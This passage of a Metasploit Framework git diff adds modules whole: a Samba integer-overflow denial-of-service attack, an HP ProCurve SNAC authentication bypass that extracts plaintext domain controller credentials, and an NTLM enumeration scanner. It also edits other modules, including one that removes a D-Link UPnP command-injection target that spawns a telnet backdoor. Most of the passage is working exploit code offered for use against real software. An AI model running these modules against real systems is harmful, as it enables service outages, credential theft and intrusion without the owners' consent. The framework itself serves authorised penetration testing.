[ 'uint16v', 'ValueLen', 0 ],
|
||||
[ 'string', 'Name', nil, '' ],
|
||||
[ 'string', 'Value', nil, '' ]
|
||||
)
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Samba read_nttrans_ea_list Integer Overflow',
|
||||
'Description' => %q{
|
||||
Integer overflow in the read_nttrans_ea_list function in nttrans.c in
|
||||
smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before
|
||||
4.0.8 allows remote attackers to cause a denial of service (memory
|
||||
consumption) via a malformed packet. Important Note: in order to work,
|
||||
the "ea support" option on the target share must be enabled.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Jeremy Allison', # Vulnerability discovery
|
||||
'dz_lnly' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '95969'],
|
||||
['BID', '61597'],
|
||||
['EDB', '27778'],
|
||||
['CVE', '2013-4124']
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('SMBShare', [true, 'Target share', '']),
|
||||
OptInt.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', 1500]),
|
||||
OptInt.new('Tries', [true, 'Number of DOS tries', 40]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def get_fid
|
||||
ok = self.simple.client.create("/")
|
||||
return ok['Payload'].v['FileID']
|
||||
end
|
||||
|
||||
def mk_items_payload
|
||||
item1 = FEA_LIST.make_struct
|
||||
item1.v['ValueLen'] = datastore['MsgLen']
|
||||
item1.v['Value'] = "\x00" * datastore['MsgLen']
|
||||
item1.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||
item1.v['NameLen'] = item1.v['Name'].length
|
||||
item2 = FEA_LIST.make_struct
|
||||
item2.v['ValueLen'] = datastore['MsgLen']
|
||||
item2.v['Value'] = "\x00" * datastore['MsgLen']
|
||||
item2.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||
item2.v['NameLen'] = item1.v['Name'].length
|
||||
item3 = FEA_LIST.make_struct # Some padding
|
||||
item3.v['ValueLen'] = 4
|
||||
item3.v['Value'] = "\x00\x00\x00\x00"
|
||||
item3.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
|
||||
item3.v['NameLen'] = item1.v['Name'].length
|
||||
|
||||
ilen = item1.to_s.length
|
||||
item1.v['NextOffset'] = ilen
|
||||
# Wrap offset to 0x00
|
||||
item2.v['NextOffset'] = 0xffffffff - ilen + 1
|
||||
return item1.to_s + item2.to_s + item3.to_s
|
||||
end
|
||||
|
||||
def send_pkt
|
||||
fid = get_fid
|
||||
|
||||
trans = TRANS2_PARAM.make_struct
|
||||
trans.v['FID'] = fid
|
||||
trans.v['InfoLevel'] = 1015 # SMB_FILE_FULL_EA_INFORMATION
|
||||
data = mk_items_payload
|
||||
subcmd = 0x08
|
||||
self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Trying a max of #{datastore['Tries']} times...")
|
||||
datastore['Tries'].times do
|
||||
connect()
|
||||
smb_login()
|
||||
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
|
||||
|
||||
print_status('Sending malicious package...')
|
||||
send_pkt
|
||||
|
||||
begin
|
||||
self.simple.client.create("")
|
||||
print_status('Server Answered, DoS unsuccessful')
|
||||
rescue Timeout::Error
|
||||
print_good('Server timed out, this is expected')
|
||||
return
|
||||
rescue Rex::Proto::SMB::Exceptions::InvalidType
|
||||
print_status('Server Answered, DoS unsuccessful')
|
||||
end
|
||||
disconnect()
|
||||
end
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,145 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rexml/document'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'HP ProCurve SNAC Domain Controller Credential Dumper',
|
||||
'Description' => %q{
|
||||
This module will extract Domain Controller credentials from vulnerable installations of HP
|
||||
SNAC as distributed with HP ProCurve 4.00 and 3.20. The authentication bypass vulnerability
|
||||
has been used to exploit remote file uploads. This vulnerability can be used to gather important
|
||||
information handled by the vulnerable application, like plain text domain controller
|
||||
credentials. This module has been tested successfully with HP SNAC included with ProCurve
|
||||
Manager 4.0.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03897409']
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'rgod <rgod[at]autistici.org>', # Auth bypass discovered by
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
},
|
||||
'DisclosureDate' => "Sep 09 2013"
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def get_domain_info(session)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/RegWeb/RegWeb/GetDomainControllerServlet",
|
||||
'cookie' => session
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body =~ /domainName/
|
||||
return res.body
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def get_session
|
||||
res = send_request_cgi({ 'uri' => "/RegWeb/html/snac/index.html" })
|
||||
session = nil
|
||||
if res and res.code == 200
|
||||
session = res.get_cookies
|
||||
end
|
||||
|
||||
if session and not session.empty?
|
||||
return session
|
||||
end
|
||||
|
||||
return nil
|
||||
end
|
||||
|
||||
def parse_domain_data(data)
|
||||
results = []
|
||||
doc = REXML::Document.new(data)
|
||||
|
||||
doc.elements.each("Controllers/Domain") do |domain|
|
||||
dc_ip = domain.elements['domainControllerIP'].text
|
||||
port = domain.elements['port'].text
|
||||
service = domain.elements['connType'].text
|
||||
user = domain.elements['userName'].text
|
||||
password = domain.elements['password'].text
|
||||
results << [dc_ip, port, service, user, password]
|
||||
end
|
||||
|
||||
return results
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
print_status("#{peer} - Get Domain Info")
|
||||
session = get_session
|
||||
|
||||
if session.nil?
|
||||
print_error("#{peer} - Failed to get a valid session, maybe the target isn't HP SNAC installation?")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting Authentication Bypass to gather Domain Controller Info...")
|
||||
domain_info = get_domain_info(session)
|
||||
|
||||
if domain_info.nil?
|
||||
print_error("#{peer} - Failed, maybe the target isn't vulnerable")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Parsing data gathered...")
|
||||
credentials = parse_domain_data(domain_info)
|
||||
|
||||
if credentials.empty?
|
||||
print_warning("#{peer} - Any Domain Controller has been found...")
|
||||
return
|
||||
end
|
||||
|
||||
cred_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Domain Controllers Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Domain Controller', 'Username', 'Password']
|
||||
)
|
||||
|
||||
credentials.each do |record|
|
||||
report_auth_info({
|
||||
:host => record[0],
|
||||
:port => record[1],
|
||||
:sname => record[2].downcase,
|
||||
:user => record[3],
|
||||
:pass => record[4],
|
||||
:source_type => "vuln"
|
||||
})
|
||||
cred_table << [record[0], record[3], record[4]]
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line(cred_table.to_s)
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,129 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Host Information Enumeration via NTLM Authentication',
|
||||
'Description' => %q{
|
||||
This module makes requests to resources on the target server in
|
||||
an attempt to find resources which permit NTLM authentication. For
|
||||
resources which permit NTLM authentication, a blank NTLM type 1 message
|
||||
is sent to enumerate a a type 2 message from the target server. The type
|
||||
2 message is then parsed for information such as the Active Directory
|
||||
domain and NetBIOS name.
|
||||
},
|
||||
'Author' => 'Brandon Knight',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('TARGETURIS', [ true, "Path to list of URIs to request", File.join(Msf::Config.install_root, "data", "wordlists", "http_owa_common.txt")])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
File.open(datastore['TARGETURIS'], 'rb').each_line do |line|
|
||||
test_uri = line.chomp
|
||||
test_path = normalize_uri(test_uri)
|
||||
result = check_url(test_path)
|
||||
if result
|
||||
message = "Enumerated info on #{peer}#{test_path} - "
|
||||
message << "(name:#{result[:nb_name]}) "
|
||||
message << "(domain:#{result[:nb_domain]}) "
|
||||
message << "(domain_fqdn:#{result[:dns_domain]}) "
|
||||
message << "(server_fqdn:#{result[:dns_server]})"
|
||||
print_good(message)
|
||||
report_note(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:ntype => 'ntlm.enumeration.info',
|
||||
:data => {
|
||||
:uri=>test_path,
|
||||
:SMBName => result[:nb_name],
|
||||
:SMBDomain => result[:nb_domain],
|
||||
:FQDNDomain => result[:dns_domain],
|
||||
:FQDNName => result[:dns_server]
|
||||
},
|
||||
:update => :unique_data
|
||||
)
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def check_url(test_uri)
|
||||
begin
|
||||
|
||||
vprint_status("Checking #{peer} URL #{test_uri}")
|
||||
res = send_request_cgi({
|
||||
'encode' => true,
|
||||
'uri' => "#{test_uri}",
|
||||
'method' => 'GET',
|
||||
'headers' => { "Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="}
|
||||
})
|
||||
|
||||
return if res.nil?
|
||||
|
||||
vprint_status("Status: #{res.code}")
|
||||
if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i)
|
||||
hash = res['WWW-Authenticate'].split('NTLM ')[1]
|
||||
#Parse out the NTLM and just get the Target Information Data
|
||||
target = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_info].value()
|
||||
# Retrieve Domain name subblock info
|
||||
nb_domain = parse_ntlm_info(target, "\x02\x00", 0)
|
||||
# Retrieve Server name subblock info
|
||||
nb_name = parse_ntlm_info(target, "\x01\x00", nb_domain[:new_offset])
|
||||
# Retrieve DNS domain name subblock info
|
||||
dns_domain = parse_ntlm_info(target, "\x04\x00", nb_name[:new_offset])
|
||||
# Retrieve DNS server name subblock info
|
||||
dns_server = parse_ntlm_info(target, "\x03\x00", dns_domain[:new_offset])
|
||||
|
||||
return {
|
||||
:nb_name => nb_name[:message],
|
||||
:nb_domain => nb_domain[:message],
|
||||
:dns_domain => dns_domain[:message],
|
||||
:dns_server => dns_server[:message]
|
||||
}
|
||||
end
|
||||
|
||||
rescue OpenSSL::SSL::SSLError
|
||||
vprint_error("#{peer} - SSL error")
|
||||
return
|
||||
rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
|
||||
vprint_error("#{peer} - Unable to Connect")
|
||||
return
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
vprint_error("#{peer} - Timeout error")
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def parse_ntlm_info(message,pattern,offset)
|
||||
name_index = message.index(pattern,offset)
|
||||
offset = name_index.to_i
|
||||
size = message[offset+2].unpack('C').first
|
||||
return {
|
||||
:message=>message[offset+3,size].gsub(/\0/,''),
|
||||
:new_offset => offset + size
|
||||
}
|
||||
end
|
||||
|
||||
end
|
|
@ -218,6 +218,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if (res and res.code == 301)
|
||||
uri = URI(res.headers['Location'])
|
||||
if uri.path =~ /\/author\/([[:print:]]+)\//
|
||||
username = $1
|
||||
print_good "#{uri.path} - Found user '#{username}' with id #{i.to_s}"
|
||||
usernames << username
|
||||
next
|
||||
end
|
||||
uri = "#{uri.path}?#{uri.query}"
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
|
@ -245,4 +251,4 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
return usernames
|
||||
end
|
||||
end
|
||||
end
|
|
@ -264,7 +264,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||
|
||||
# Not successful yet, maybe we got a password prompt.
|
||||
if password_prompt?
|
||||
if password_prompt?(user)
|
||||
send_pass(pass)
|
||||
|
||||
# Allow for slow echos
|
||||
|
|
|
@ -371,7 +371,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:proto => 'tcp',
|
||||
:port => rport,
|
||||
:type => 'smb.shares',
|
||||
:data => { :shares => shares.inspect },
|
||||
:data => { :shares => shares },
|
||||
:update => :unique_data
|
||||
)
|
||||
|
||||
|
|
|
@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
|
||||
|
||||
if password_prompt?
|
||||
if password_prompt?(user)
|
||||
send_pass(pass)
|
||||
|
||||
# Allow for slow echos
|
||||
|
|
|
@ -138,29 +138,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
#starting the telnetd gives no response
|
||||
request(cmd)
|
||||
|
||||
begin
|
||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...")
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
||||
|
||||
if sock.nil?
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
|
||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
|
||||
prompt = negotiate_telnet(sock)
|
||||
if prompt.nil?
|
||||
sock.close
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
|
||||
end
|
||||
|
||||
handler(sock)
|
||||
rescue
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service")
|
||||
if sock.nil?
|
||||
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
|
||||
return
|
||||
print_status("#{rhost}:#{rport} - Trying to establish a telnet session...")
|
||||
prompt = negotiate_telnet(sock)
|
||||
if prompt.nil?
|
||||
sock.close
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session")
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - Telnet session successfully established...")
|
||||
end
|
||||
|
||||
handler(sock)
|
||||
end
|
||||
|
||||
def request(cmd)
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
Rank = AverageRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
@ -22,11 +22,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Description' => %q{
|
||||
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
|
||||
interface. Since it is a blind OS command injection vulnerability, there is no
|
||||
output for the executed command when using the CMD target. Additionally, two targets
|
||||
are included, to start a telnetd service and establish a session over it, or deploy a
|
||||
native mipsel payload. This module has been tested successfully on DIR-300, DIR-600,
|
||||
DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer,
|
||||
more D-Link devices may affected.
|
||||
output for the executed command when using the CMD target. Additionally, a target
|
||||
to deploy a native mipsel payload, when wget is available on the target device, has
|
||||
been added. This module has been tested on DIR-865 and DIR-645 devices.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
@ -56,12 +54,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => 'unix'
|
||||
}
|
||||
],
|
||||
[ 'Telnet', #all devices - default target
|
||||
{
|
||||
'Arch' => ARCH_CMD,
|
||||
'Platform' => 'unix'
|
||||
}
|
||||
],
|
||||
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
|
||||
{
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
|
@ -88,8 +80,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
if target.name =~ /CMD/
|
||||
exploit_cmd
|
||||
elsif target.name =~ /Telnet/
|
||||
exploit_telnet
|
||||
else
|
||||
exploit_mips
|
||||
end
|
||||
|
@ -114,58 +104,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
return
|
||||
end
|
||||
|
||||
def exploit_telnet
|
||||
telnetport = rand(65535)
|
||||
|
||||
vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}")
|
||||
|
||||
cmd = "telnetd -p #{telnetport}"
|
||||
type = "add"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
type = "delete"
|
||||
res = request(cmd, type)
|
||||
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
||||
end
|
||||
|
||||
begin
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i })
|
||||
|
||||
if sock
|
||||
print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...")
|
||||
add_socket(sock)
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
|
||||
print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}"
|
||||
auth_info = {
|
||||
:host => rhost,
|
||||
:port => telnetport,
|
||||
:sname => 'telnet',
|
||||
:user => "",
|
||||
:pass => "",
|
||||
:source_type => "exploit",
|
||||
:active => true
|
||||
}
|
||||
report_auth_info(auth_info)
|
||||
merge_me = {
|
||||
'USERPASS_FILE' => nil,
|
||||
'USER_FILE' => nil,
|
||||
'PASS_FILE' => nil,
|
||||
'USERNAME' => nil,
|
||||
'PASSWORD' => nil
|
||||
}
|
||||
start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock)
|
||||
rescue
|
||||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
def exploit_mips
|
||||
|
||||
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue